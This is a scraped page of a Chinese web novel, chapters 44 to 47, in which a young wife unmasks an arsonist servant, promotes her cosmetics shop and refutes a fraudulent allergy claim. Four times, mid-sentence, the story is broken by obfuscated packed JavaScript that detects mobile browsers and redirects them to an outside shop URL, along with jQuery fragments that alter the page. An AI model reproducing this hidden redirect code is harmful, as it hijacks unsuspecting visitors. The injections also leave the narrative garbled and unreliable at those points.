“夫人请看,今日我按照小姐的吩咐,带着狼犬寻找纵火之人的气息,刚巧在府中闻到阿魏的味道。” “小姐说过,书铺的曹掌柜在那纵火犯身上撒了特殊香粉,只有阿魏的味道可以掩盖。这个炎山这么巧在此时用大量阿魏洗澡,一定是他做贼心虚,想要掩盖自己身上的味道,躲避狼犬的追捕!” 阿桥说罢,赵氏脸色已经变得铁青。 炎山依旧在浴桶里拼命顾涌,企图挣脱身上的束缚。 赵氏瞧见终于忍不住开口,“炎山这几日并未离开过国公府,什么狼犬,药粉,都是你的一面之词。” “来人,把他给我松绑,让他自己说!” 闻言几个下人连忙上前,将炎山从浴桶里捞出来,炎山正在洗澡时被绑,此时身上空无一物,出浴时更是光溜溜的。 顾承宴看着嘴角噙着笑,不打算回避的叶青漓,忍不住皱眉。 “先给他穿件衣服!” 炎山也注意到自己没穿衣服,有些羞耻地套上其中一个下人的外衣,确认将自己裹严实了,才噗通一声跪在几人面前,涕泗横泪。 “夫人,大公子,大少奶奶,我冤枉啊!我这几日从来没出过国公府!” 炎山望着赵氏,字字恳切道:“小的这些日子闹了虫灾,这才托人买了些阿魏回来驱虫,想着量越大效果越好,忍着恶臭直接用它洗澡,小的可从来没有放过什么火啊!” “你撒谎!” 阿桥立刻反驳,“我们小姐前脚才说香粉要用阿魏掩盖,你后脚就用它洗澡,是个人都看得出你是为了什么!” 炎山收起眼泪,歪头看他,脸上勾起一抹讥笑,“你这小孩讲话好没道理!” “这世上的人又不都得围着你家小姐转,难道她要用阿魏抓凶手,这全天下买了阿魏的就都是纵火犯了?” “你……!你强词夺理!” 陈阿桥毕竟年纪尚小,面对炎山这种不知做了多少亏心事的老油条,如何也辩不过他。 他三言两语就给自己找了合理借口,叶青漓一时竟也无法再说什么。 赵氏看着主仆二人哑口无言,唇角勾起一抹轻蔑的笑。 “怎么样?我都说了炎山是清白的!他是我的人,做了什么没做什么,我最清楚!” 她极其得意地看了气愤不已的陈阿桥一眼,对着紧紧皱眉的叶青漓道:“看在你抓贼心切的份上,今天我就不跟你计较了!我们走!” “婆母且慢!” 赵氏刚转过身,叶青漓忽然开口。 “炎山说得对,不能因为我要用阿魏判断谁是贼,就把所有买了阿魏的人都抓起来。” 她顿了顿,继续道:“巧的是,我刚好并不需要阿魏来抓贼!” “你什么意思?” 赵氏听出不妥,连忙转身。 叶青漓弯起嘴角,十足恭敬疏离地笑了一下,偏头朝陈阿桥使了个眼色。 方才还因为错过贼人气得面红耳赤的少年,忽然在所有人眼下飞快奔向炎山,一拳击向炎山面部。炎山反应迅速,歪头躲避,正此时,陈阿桥以拳变爪,抓住炎山的衣领,用力一扯,本就不怎么合身的衣服瞬间滑落到腰间。 陈阿桥也在这时将炎山按住,迫着他将后脑面向众人。 “当日那贼人伪装书生,潜进书铺,恶意纵火时刚好被我的掌柜发现,掌柜的抄起一本书就砸在他身上。虽然书上的药粉可以被洗掉,可是重物击打后的痕迹不可能这么快消失。” 叶青漓幽幽开口,指了指炎山脑后一大块青紫,“婆母请看,炎山后脑上的淤青像不像被书砸的?” 赵氏紧紧瞪大双眸,看见炎山身上淤青方方正正,一颗心沉到谷底。 她紧抿着唇,想做最后的挣扎,“只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068362|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是有点像,并不能证明就是被书砸的,更不能证明炎山就是凶手!” “婆母说得有道理,所以我已经让人将书铺掌柜请来了,是与不是,一看便知。” 闻听此言,炎山的脸瞬间一片惨白。 赵氏一看就知道不成了,眨眼间态度大变! “不必那么麻烦,既然证据确凿,你就把他报送官府,该怎么处置就怎么处置!” 她冷冷地看了眼炎山,抬脚踹在他肩上,“以奴欺主的东西,老实去府衙受过,若还敢心存怨恨,你家里人也不必在国公府待了!” 炎山听懂了赵氏的威胁,求情的话到了嘴边又被咽回去。 叶青漓这才满意地笑起来,“既然婆母都发话了,那我就不客气了。” “来人,把他送官!” “等等!” 叶青漓怎么都没有想到,一直安安静静充当背景板的顾承宴会在这个时候开口。 他俊毅的眉眼瞥向被阿桥死死制住的炎山,“既然你就是纵火的凶手,那买阿魏就不是为了驱虫,而是想掩盖身上的气味。” “大少奶奶用来抓贼的法子,你一个贼是从何处知道的?” “我……” 炎山张口要狡辩,顾承宴却根本没给他机会。 “据我所知,大少奶奶只在晨间请安时提到过一次,就这一次就让贼人知道了,看来家里还有其他的贼!” 顾承宴话中之意直指赵氏,瞬间让赵氏本就铁青的脸色变得更加难看。 “承宴这话什么意思?你是想说是我指使他去放火的吗?”赵氏一脸狠厉,又踹了炎山一觉脚,“你自己说,是谁叫你去放火的?” 炎山被两个主子夹着,头都疼了。 “是我自己!我曾经苦读却不得其果,听闻三甲书铺的书看了就能中进士,心中嫉妒,这才纵火!” 假话! 假到不能再假的假话! 炎山是奴籍,根本没有科举的可能,怎么会为了这种事生出嫉妒之心? 叶青漓摇了摇头,侧目看向一旁的顾承宴。 顾承宴眼中毫无波澜,似乎根本不在乎炎山这话是真是假。 “既然是你自发纵火,又是何人会告诉你阿魏能去除药粉的味道?” 炎山已经被问得一个头两个大,他不能泄露是赵氏吩咐,又不想扯出府中其他人牵连自己的家人,只好摇着头胡乱回话。 “没有谁告诉我,是我偷听来的。” “你的意思是下人们听了主子的对话后,在私下悄悄议论,还刚巧让你这个贼人听见,险些让你躲过搜捕,是吗?” “我……” 炎山懵了,他不是这个意思啊! 赵氏察觉不对,拧眉看向顾承宴。 “承宴此话何意?” 顾承宴转头没有看她,而是看向赵氏身后的几个心腹婆子。 “那日晨间问安,你们几个谁在屋内伺候?” 几人你看看我,我看看你,不敢答话。 顾承宴深邃的眉眼从几人身上一一扫过。 “都不说话,想来是都参与过议论。随意议论主子私事,此乃大忌,赵夫人院中的人如此不懂规矩,国公府留不下她们。” “来人,全都拖出去发卖了!” 45. 霓裳阁 “你敢?” 赵氏大喝一声,凌厉的目光直直射向顾承宴。 男人眉目间却毫无波澜,只是重复了一遍,“来人……” 话还未说完,赵氏身后已经有人受不住主动交代。 “那日是付婆子在里屋伺候,我们什么都不知道!” “是啊!我们什么都不知道!大公子饶了我们吧!” “付婆子,是哪个?” 几人同时后退一步,将一个黑着脸的婆子暴露出来。 叶青漓仔细瞧了,她竟与炎山还有几分相似! 确定泄密之人,顾承宴再未开口,眼眸微抬,便有下人上前将付婆子绑了起来。 赵氏看着这一幕,怒不可遏道:“她是我的奴才,凭什么由你来处置?” “凭我姓顾!” 此话一出,赵氏彻底没了生气的力气。 这么些年,她最恨也最怕的就是这个。 虽然自己嫁给顾国公,可是只要有顾承宴在一天,自己和孩子似乎永远都做不能顾家的主人! 赵氏目光死死盯着顾承宴,男人却无动于衷,冷眼看着一旁的下人们。 虽说两位主子吵起来下人们十分难做,可是这种场景早在十年前就已经上演了无数次,他们当然也还记得每一次的最后都是谁获得胜利。 不等顾承宴再度开口,炎山和付婆子便被人拖了下去。 赵氏身后的几个下人都一脸心有余悸,更有一人悄悄凑上近前。 “夫人,此事已了,咱们不如先回去吧!” 赵氏扭头狠狠瞪了她一眼,那婆子吓得瑟瑟发抖,到底也没被赵氏如何。赵氏带着人气冲冲地来,最后又带着人气冲冲地离开。 叶青漓看着一脸得意的阿桥,笑道:“此次捉贼大获全胜,都要多亏了阿桥办事用心,回去了一定好好奖励你!” 阿桥得了夸奖,立刻笑得嘴巴咧开,不好意思地摸了摸后脑勺。 “哪里,哪里,主要还是小姐的计策好!” 这次不仅找到真正的纵火凶手,打了赵氏的脸,还断了赵氏一臂,叶青漓光是想想都笑得眼睛都眯起来。 她回过头来朝着顾承宴嫣然一笑,“今日也多谢夫君替我主持公道!” 顾承宴看着她的笑颜,眸中终于多了几分波动,“小事而已。” 思及今日叶蕙珠说过的话,他忽然间垂下眼眸,轻声道:“是我在府中待得时间太短,她才敢把注意打在你身上,以后不会再发生这种事了。” “这算什么……” “啊呀!” 叶青漓刚要说些什么,被阿桥突然发出的惊呼打断。 “阿桥,怎么了?” 陈阿桥有些尴尬地笑了笑,“小姐,咱们已经抓住炎山了,那,那个院子的东西要拿出来吗?” * 这日晚间,赵氏的院子忽然燃起熊熊大火,许多下人连扑带打才浇灭了这场突如其来的大火。 顾承卓得了消息连忙赶来查看情况,见赵氏身体并无大碍悄悄松了口气。 “怎么回事?好端端的,母亲院中怎么会起火呢?” 一旁的下人也说不出个所以然来,只道约莫是个意外。 可知道自己做过什么的赵氏却忽然想起那日叶青漓的另一句话:“此人如此嚣张,哪怕官府抓不到她,将来也必遭报应!” 她黑着一张脸,气得咬牙切齿,“叶!青!漓!” * 纵火的凶手被抓到,烧毁的原作叶青漓针对作者给予赔偿,书铺的生意终于恢复正常。 很快就到了何夫人生辰这日,叶青漓和顾承宴一起来到纪府为她祝寿。 在叶青漓坚持不懈的询问和顾承宴绞尽脑汁的回忆下,叶青漓终于确定要给何夫人送上什么样的礼物,这一天两人到得格外的早。 顾承宴和纪将军叙旧之时,叶青漓已经来到何夫人的房间,神神秘秘从身后拿出一样东西。 “舅母,你看看这是什么?” 何夫人膝下有三子,就连顾承宴也是个从小调皮的混小子,所以对叶青漓这个外甥媳妇十分喜欢,瞧见她耍宝的表情就忍不住笑起来。 “好孩子,你这是又弄了什么稀奇玩意?” 叶青漓走近前来,将小盒子放在何夫人手中,眼中藏着秘密,“这是我特意给舅母准备的生辰礼物,舅母要不要试试?” 何夫人看着叶青漓手里的小盒子,露出几分疑惑。 “礼物?就这个?” “嗯!”叶青漓点头,“舅母放心,你用过之后一定会喜欢的!” 纪家这十年一直待在边关,于京中的亲朋好友往来也不怎么频繁。今日生辰,正是他们回京后第一次设宴,既是为了庆祝何夫人的生辰之喜,也是广而告之京城好友他们将要常住京城。 纪将军刚打了胜仗,在圣上面前又十分得脸,今日前来祝贺的客人自然特别多。众人在前厅说说笑笑,好不热闹,只是一直等到开宴的时辰快到了,还不见何夫人出面。 纪将军第一个察觉不妥,侧头对身边的下人吩咐,“你去后院催催,夫人怎么还没过来?” “是。” 下人得令正要动身,人群后方忽然发出一阵惊呼。 “快看啊,那是何夫人?” 纪将军闻声望去,一眼就看见被众人簇拥着何夫人。 一身朱色锦服,鬓发高高挽起,面容冷肃,眼神坚毅,眼尾一抹淡红更添了几分味道,似女子经常涂抹的胭脂,更似将敌人斩于马下的张扬。 她不苟言笑从人群中走来,威武,霸气,简直比他这个将军还像将军! 纪将军感觉自己仿佛回到了第一次遇见何夫人的时候,那个一身红衣的女子骑在马上,笑得恣意,马鞭落下仿佛敲打在自己心上。 “夫人,你今天……” “都是青漓这丫头为我妆扮的,怎么样,帅不帅?” 何夫人一开口,方才在众人面前努力营造的酷帅氛围瞬间消了大半,在纪将军面前,她只是一个得了新玩具的小女孩。 纪将军眸光暗了一瞬,声音沙哑,“帅!夫人今日又美又帅!” 何夫人要的就是这句夸奖,当即高兴起来,眼尾的淡红越发明显。 顾承宴也注意到何夫人的变化,夸了一句,“舅母今日格外美丽!” “你这小子,净会说好听话讨我欢心!”何夫人嘴上这么说,脸上的笑却暴露了她内心最真实的想法,她忍不住侧头看向一直跟在她身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14081115|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后的叶青漓。 “漓丫头,你到底是怎么做到的?我刚才照镜子的时候怎么觉得自己好像年轻了好几岁?” 叶青漓等的就是这句话,拿出一个和方才送给何夫人的礼物一样的小盒子。 “当时是它的功劳了!这是我店里的新款胭脂,轻薄贴肤,色彩柔和,只需搭配一点手法,便能达到令人意想不到的效果。” “你还开了店?” 何夫人捕捉到重点,看向叶青漓的眼神更喜欢了,“叫什么名字?在哪?” “叫霓裳阁,在城西,舅母日后若是有空可以去看看。” “我当然要去了,漓丫头的胭脂效果这么好,以后我一定要买。对了,你会给舅母优惠的吧?” 叶青漓露出一个奸商的微笑,“这个,好说,好说!” 何夫人出身武将家庭,嫁给纪将军后又跟他去了边关十年,十年的风沙不仅磨得蛮族胆寒,也消磨了何夫人的青春。 回了京城后,何夫人嘴上不说,心里也是想要变美的。今日叶青漓的礼物,正好送到她心坎里了。 尤其叶青漓凑到她耳边补了一句,以后霓裳阁的新品都可以送到府上让她免费试用,让何夫人对这个外甥媳妇更加满意! 何夫人的变化,在场的宾客都有目共睹。明明她只比泾阳候夫人小两岁,上次在泾阳候府相遇时,两人却像是差一个辈分的人。今日再见,两人几乎不相上下,甚至何夫人周身凌厉的气势将泾阳候夫人狠狠比了下去。 泾阳候夫人看了眼大变模样的何夫人,又看了眼正与她有说有笑的叶青漓,心中不由感慨这姑娘本事真大,竟能让那样一个泼妇变成这般模样?! 今日主场是何夫人的生辰,可是有些人的注意力早已被叶青漓手中的胭脂悄悄勾走。 生辰宴第二日,隐在城西一角的霓裳阁就迎来了爆单之旅! 叶青漓看着霓裳阁送上来的账单,翻了个身继续数着银子,采莲则看着房中那朵昂贵不已的红花感慨。 “原来小姐当初买这花是为了做胭脂!我还以为小姐是真的难过所以去寻开心呢?” 叶青漓目不转睛看着账本,“我本来就有一家胭脂铺,早就有改良的想法,只是天气一直没回暖,没有机会调试配方,上次听闻城外有个百花园,才想着去试试,没想到他刚好有我要的东西。” 叶青漓说罢,漫不经心问道:“还有,我什么时候难过了?” 采莲看着叶青漓沉迷算账无法自拔的样子,小心翼翼地开口,“顾国公和夫人要给大公子纳妾,小姐难道不难过吗?” 顾承宴脚步轻快,嘴角带着一丝笑意来到门口,刚抬起手便听见这句话,笑意顷刻间消失,眉心紧蹙。 叶青漓听着采莲的问话,看着她紧张的表情,忍不住噗嗤一声笑了出来。 “我为什么要生气啊?我又不喜欢他。” 采莲瞪大了眼睛,有些不明白,“可,可大公子毕竟是小姐的夫君啊!” 叶青漓轻笑一声,“你见过我们这样的夫妻吗?” 采莲想了想,低着头纠结半晌,却不知该如何形容叶青漓和顾承宴之间的关系。 门外,顾承宴脸色微沉,眸间迅速凝起冰霜,沉默片刻,转身离去。 46. 碰瓷 叶青漓并不知道自己的这些话都被顾承宴听了个正着,霓裳阁的生意步入正规,她便开始了自己的第二步计划。 如今的霓裳阁正是顾承宴母亲留下的那个胭脂铺改造而成,原来的铺子除了配方落后了些,其他的并没什么大问题。 巧的是,叶青漓活了两辈子,脑子里最不缺的就是配方。 何夫人生辰宴上霓裳阁一战成名,能让人变得更加年轻的招牌吸引来越来越多的贵妇人,这些人手里有钱有闲,就是缺一个花钱的路子。 叶青漓刚好能提供这个路子。 霓裳阁走得是高端路线,里面随便一盒胭脂售价都在二十两以上,除了沿用三甲书铺的会员制度外,叶青漓还开启了仅会员可用的预售渠道。 她先从百花园主人那里订了一批成花,制作部分样品,会员们试用满意后,交付订金,待半个月后下一批花开才会有成品送货上门。 如此苛刻又繁琐的条件,不仅没有将客人吓跑,反而又迎来一波人的热情。 采莲看着霓裳阁堆得越来越高的账本,忍不住感到疑惑。 “小姐,明明咱们的胭脂卖得这么贵,为什么还是有人会来买?有的甚至买的只是预售?连东西都拿不到,银子就先付出去了!” 叶青漓摸了摸采莲的脑袋,轻轻叹了口气,“哎,其实我也不太明白。” “可能这就是有钱人想要的尊贵吧!咱们做生意的难道还能把主动送钱的客人赶出去不成?” 叶青漓当然不会赶走客人,只能口中含着热泪将银子尽收怀中。 正高兴时,阿桥忽然跑了过来,“小姐,不好了,霓裳阁出事了!” * 叶青漓赶到的时候,霓裳阁门口围满了人,几乎都看不见门口。 采莲上前凭着一身力气挤出一条路来,叶青漓才得以看到人群之中发生了什么。 只见霓裳阁门前站着两个女子,一个约莫三十多岁,一个似乎不到二八,两人身着锦衣,瞧着富贵,脸上却都发着骇人的红,两颊处更是长有许多红点,密密麻麻,就像是蟾蜍的后背一样,看着叫人十分不适。 她走到近前,就听见那个年长的女人叫喊起来。 “大家都来瞧一瞧,看一看,这霓裳阁是个黑心铺子,卖的都是脏货!我们母女昨日用了霓裳阁的东西,今日脸上就起疹子了!” 年长的女人声音尖利,口齿灵活,三言两语就往霓裳阁泼了一盆污水。 “我在京中活了三十多年,买过的胭脂水粉无数,这还是第一家让我起疹子的!那么大颗的疹子,全长在脸上,我那相公看见后吓得立刻要把我休了!!!” 说着她又将那小女孩扯到面前,满脸哀色。 “还有我这苦命的女儿,下个月就要嫁人,如今却被这霓裳阁毁了容貌,未婚夫家也闹着要退婚。” “各位夫人小姐快来给我们评评理,替我们主持公道啊!!!” 听了她的话,又看见两人脸上的情形,人群瞬间哄闹起来。 “呀!她们脸上的红疹可真吓人!不会真的是霓裳阁的胭脂引起的吧?” “应该不会吧!我刚买了一盒胭脂,用着感觉还不错,而且二十多两的东西,怎么会是假货呢?” “可是她们脸上的红疹不像是假的,所以霓裳阁的东西到底还能不能用?” “要我说,这霓裳阁就是为了赚银子连良心都丢了!售卖假货,毁人容貌,听说还弄了什么预售渠道,赚钱的法子是一个又一个,这东西做得却不怎么样!啧啧,实在令人不齿!” 大多数人还在怀疑观望的时候,一个尖锐的声音冲出人群传到叶青漓耳中。 采莲听见后,立刻撸起袖子就要跟她理论。 “采莲!”叶青漓及时按住她,冲她摇了摇头,“不要冲动!” “可是小姐,她们这样说,霓裳阁的名声不就全毁了?” “这里不是说话的地方,跟我来。” 叶青漓带着采莲退出人群,从后门进了霓裳阁。 一听说叶青漓过来,霓裳阁的掌柜马娘子立刻激动得从前厅赶来。 “东家,都是我不好,没有处理好这件事,反而闹得越来越大了!”马娘子满脸愧疚。 这家铺子从顾承宴母亲还在的时候就交到她手上了,十几年过去,铺子的生意不仅没有变好,反而越来越差,若不是叶青漓拿出新的配方,重新打响了霓裳阁的名号,这间铺子说不定早就关门了。 叶青漓没有问罪马娘子,而是问起门口的两人。 “那两个人是什么来历?为何在霓裳阁门口叫嚣?” 说起门外的母女,马娘子眼底闪过一丝厌恶。 “东家,那就是两个无赖!” “她们根本没有买过我们霓裳阁的东西!” “没买过东西,为何敢这样说?” 叶青漓问出口,马娘子立刻心虚的低下头。 “是,是我揽客心切,忘了东家的吩咐,昨日将会员才能用的样品摆了出来。那厉三娘用过之后连声说好,要回去取银子来预订,叫我在铺子里等会,可我等来的不是预售,而是她满脸红疹!” “不仅如此,她还拉来她女儿,非说她女儿脸上的红疹也是霓裳阁弄的!可她女儿根本碰都没碰过我们的东西!” “这,这分明都是污蔑!” 马娘子说起这事,心里是一肚子苦水。 叶青漓神情却十分平静,“所以你是怎么做的?” “我……”马娘子再次低下头,“我当时觉得她是想碰瓷,让人把她们赶出去了,谁知,今日她就带着人在门口大声嚷嚷,一个上午的功夫,因着她们俩,铺子里一个客人都没有……” 马娘子越说头压得越低,语气几近哽咽。 “都是我不好,是我没有处理好此事,才给铺子带来麻烦,东家,我……” “不必多说!” 叶青漓冷静打断了她,“当务之急是解决门口的两人,让她们先离开此处,不要扰了我们正常做生意。” “红疹之事,还有待商榷。” “东家的意思是……” 叶青漓看向采莲,“你去跟那两人说,霓裳阁愿意给予她们赔偿,前提是有大夫为她作证。叫明日带着大夫一起来霓裳阁拿赔偿。” “小姐!她们都是碰瓷的,怎么还能给银子?这不是助长歪风邪气吗?”采莲急得不行,“而且这银子给了不就承认了我们的东西不干净?可不能给啊!!!” 小丫头着急的样子越发可爱,叶青漓轻笑一记,“你放心,这银子她们有没有机会拿还不一定!” 说罢,她又看向马娘子,“你是霓裳阁的老人,这么多年在此处经营应该对这一片很了解吧!” “明日,你去找……” 叶青漓在马娘子耳边说了几句,方才还一脸愧疚的马娘子眼底瞬间有了光。 “东家,这法子真好!只是风险有点大!你确定要这么办吗?” 叶青漓点头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14092929|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“无妨,就当是给霓裳阁做推广了,去吧!” 叶青漓吩咐下去后,两人迅速下去行动。 采莲将叶青漓的话带到厉三娘面前时,叫喊得声音有些嘶哑的女子停了下来,怀疑地上下打量着采莲。 “你说得是真的?明日带个大夫来作证就能拿赔偿?” 采莲绷着一张小脸,十分严肃道:“自然。” “我家娘子是做生意的,最是讲究诚信二字。这位娘子既然是用了我们的东西毁了容貌,霓裳阁当然要赔偿,不过娘子空口说说我们不认,得有大夫证明才可。” 她说着,抬眼冲围观的人群大声说道:“我们霓裳阁开门做生意,所有原料均可保证干净卫生,无毒无害!虽然不知道这位娘子为何起红疹,但是我们娘子说了,若明日证实是霓裳阁的问题,我们必定十倍赔偿!明日此时,还请诸位前来一起做个见证!” “霓裳阁敢这么说,我觉得不一定是她们的东西有问题,也许是这位娘子自己吃错了东西?” “是呀,若是心中有鬼,怎么敢这么理直气壮?” “你们懂什么?她都说了十倍赔偿了,今晚悄悄拿银子堵了这位娘子的嘴,明日再演一出霓裳阁东西没问题的戏码,以后不就照样把脏东西卖给你们!” “你这人,怎么把人想得这般恶毒?” “我怎么了?我说得都是实话!” 叶青漓站在霓裳阁二楼,透过窗牖看着下面的人群哄闹,目光锁定在某处。 “阿桥!” “小姐,我在!” “你也去帮我办件事。” * 叶青漓待了一个时辰,霓裳阁外才恢复平静,只是与往日相比,客人终究少了许多。 这倒并不让她意外,此处处理得差不多了,她才回到顾国公府。 刚进门,迎面就遇上大着肚子和郑氏在凉亭赏景的辛氏。 “呦!大嫂回来了?” 辛氏挺着肚子戏谑地看着叶青漓。 “我听说今日大嫂的那间胭脂铺被人围了,没事吧?” 叶青漓脚步微顿,轻笑一记,“不打紧,不过是一点小误会,很快就解决了。” 她看了眼辛氏的脸,“我瞧三弟妹怀孕后气色不怎么好,人都憔悴了许多,要不要我送你一盒胭脂遮一遮?” 闻言辛氏立刻变了脸色,没有哪个女人愿意听别人说自己变丑了! 孕妇更甚! 郑氏在一旁偷笑起来,“三嫂,我都跟你说了,大嫂本事大着呢,不过两个起红疹的客人,哪里就能麻烦到她?你呀,还是少操些心吧!” “四弟妹今日黑眼圈瞧着也重了点,是不是夜里有心事睡不着?我铺子里有上好的珍珠粉可以遮瑕,要不要送你一些?” “你……!” 把两个闲得看笑话的女人挤兑一番后,叶青漓心情终于舒畅许多,带着采莲直奔蔚莲阁。 走到长廊上,正好又碰见顾承宴。 叶青漓冲他点了点头,目不斜视直接离开。 竹页瞧见顾承宴脸色顷刻间比这几日更冷了几分,连忙说道:“我听说大少奶奶外面的铺子出事了,她可能心情不好,才没有和大公子打招呼。” 顾承宴薄唇紧抿,眸色微暗,“与我何干?” 说着,走向与叶青漓相反的方向。 竹页跟在后面看着他簌簌冒冷气的背影,心中奇怪:大公子好像在生大少奶奶的气?可是大少奶奶也没做什么啊? 47. 门前验证 一夜时间很快过去,第二日,厉三娘果然带着一个大夫来到霓裳阁门前。 经过一夜时间的发酵,此时的霓裳阁门口已经围满了人,甚至不乏贵妇小姐,在霓裳阁对面的茶楼订了位置,等着看霓裳阁如何解决这件事。 如果最后霓裳阁真的赔付厉三娘银两,证实了卖的东西有问题,将来这家铺子恐怕再无人问津。 叶青漓再次从后门进入霓裳阁,马娘子见到她后立刻恭敬赶来,目光坚定。 “东家,已经按照您吩咐的办妥了!” 叶青漓点点头,随之上了二楼,从此处俯视可以将整个霓裳阁门前囊括眼中。 “时间差不多了,你下去准备吧。” “是。” 马娘子来到一楼,望了眼门前不依不饶的厉三娘,肃沉着脸,提裙而出。 “厉三娘今日来得真是早!” “我是苦主,自然要早些为自己争个公道!” 厉三娘的脸瞧着比昨日更严重了些,嘴巴却丝毫不减厉害,怨毒的目光落在马娘子身上。 马娘子恍若未闻,抬手指向一旁。 “既然厉三娘带了大夫过来,那就请坐吧。当着所有人的面,让大家看看我们霓裳阁的东西到底有没有问题?” 话落,厉三娘身边的大夫已经动作起来,从药箱中拿出脉枕,等着把脉。 厉三娘跟着坐到对面,将手放上去,在她之后,她那个年纪尚幼的女儿也上前把脉,片刻之后大夫才收回了手。 众人紧张不已,正等着他的答案,却见他忽然开口问起了一些旁的闲事,直把众人听得没了耐心才说道:“娘子最近可吃过用过什么特别的,从前不常用的东西?” “胭脂!只有霓裳阁的胭脂我是第一次碰!” “原来如此!” 大夫望闻问切结束,终于有了答案。 “据我诊断,这位娘子的确是使用了不干净的东西,致使气血逆流,导致脸颊肿胀生疹,娘子方才说是用了霓裳阁的胭脂才起了红,想来就是那胭脂的问题。” 话落,现场一片哗然! “不会吧?!” “真是胭脂的问题?那可是二十多两的胭脂!” “什么?竟真的是霓裳阁的问题?亏我还相信她们,昨日又买了两盒!骗子!” 有人愤慨不已,当场将自己新买的胭脂丢在地上,盒盖掉落,里面的胭脂撒了一地,鲜艳的红色铺在地面上,格外醒目。 厉三娘瞧见这一幕,微勾起嘴角,“霓裳阁为了赚钱,不顾我们死活,拿这些脏货来坑我,大家一定不要放过她们!” 人群中也有人立刻呼应她,“就是,这等黑心的铺子,卖一些烂人脸的东西,咱们一起把它砸了!” “对,该砸了!” “砸了!砸了!” 人们的呼声太大,甚至有人气不过将自己手中的胭脂丢向马娘子,事情一瞬间变得不可控起来。 马娘子眼疾手快抓住飞来的胭脂,看呆了一众客人。 趁着这个空档,她高声对着群情激奋的人们大喊:“诸位!我们霓裳阁诚信经营,从来不会使用有毒的原料做胭脂,今日之事,还有待验证!” “大夫都说了是你霓裳阁的东西有问题,你还有什么好说的?莫不是不想赔偿?” “你说得没错,可是医道千章,这么重要的事情自然不能只听信这一个大夫的话,来人!” 马娘子拍了拍手,很快便有八人从霓裳阁走出来,他们大多胡子花白,却精神矍铄,目光清明,手里提着一个药箱,瞧着就比厉三娘请来的满眼精光的大夫更值得信任! “这几位都是城内坐馆的大夫,行医少说三十年,经验丰富,有口皆碑,诸位想必都认识,我便不一一介绍了!” 马娘子轻扬嘴角,看向厉三娘,“既然你请的大夫已经看过了,想必也不介意我请的大夫看一看你脸上的红疹吧?” 厉三娘从看见这八个大夫出现开始就慌了神,听到他们要再次为自己诊脉,转身就想跑。 怎料还未迈出一步,就被霓裳阁请来的人死死按回座位上,她的女儿亦是如此。 两人被牢牢控制在座位上,由着八个大夫连番诊脉,这八人诊完脉甚至都不用再开口问些什么,便已得出结果。 马娘子见八人诊脉结束,继续说道:“为防止有人说我霓裳阁买通大夫,我想请几位先生将结果写在纸上,再写明自己的来处,稍后当面宣告,也好做个对比。” “既能看看到底是哪位大夫医术更为精妙,也能确认厉三娘脸上的红疹到底是如何生成?” 此话一出,在场无人反对。 霓裳阁的伙计们又拿来纸笔,八个大夫当着众人的面写下结果,这才结束。 八张纸交到马娘子手上时,厉三娘已经紧张不已,她朝着人群中四处张望,却看见一人对她悄悄摇了摇头,之后便安下心来,继续坐着。 马娘子拿着手里的结果,高声唱和: “回春堂贺大夫诊断:患者脸生红疹,肿胀难消,观其脉象是自身阴阳失衡,卫表不固,应是过敏之证。” “济世堂胡大夫诊断:脸生红疹,伴随口舌发红,与风邪有关,性走而不守、开泄,应是过敏之证。” “悬壶堂庆大夫诊断:……” “……” 八人诊断结果,均为过敏! 厉三娘张口想要说什么,马娘子却快她一步。 “还请几位先生再看看我们霓裳阁的胭脂可有什么问题,最重要的是,看看这里面有没有毒?” 说到这个,围观的人们越发关注起来。 相比起厉三娘到底是不是过敏,她们更想知道霓裳阁的东西还能不能用! 八人一一看过,回答皆是无毒无害。 甚至有个老大夫拾起一些放进嘴里,片刻后说出胭脂的主要成分,待说到桃花时,人群中忽然传来一声惊呼。 “厉三娘就是桃花过敏!” “你怎么知道?” “我是她家邻居,之前在院子旁种了一棵桃树,害得她过敏,被她讹了好大一笔钱!我当然记得!” 说话之人字句坚定,毫不犹豫,再看厉三娘,在那人发声之后,竟悄悄低着头背过身去。 众人这才看清真相! “霓裳阁此次新品售出时说得很清楚,这款名叫桃之夭夭!你明知道自己桃花过敏还要买,这不是明摆着讹人吗?” “是啊!” 马娘子在此时补上一刀。 “我们霓裳阁的桃之夭夭距今为止共 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 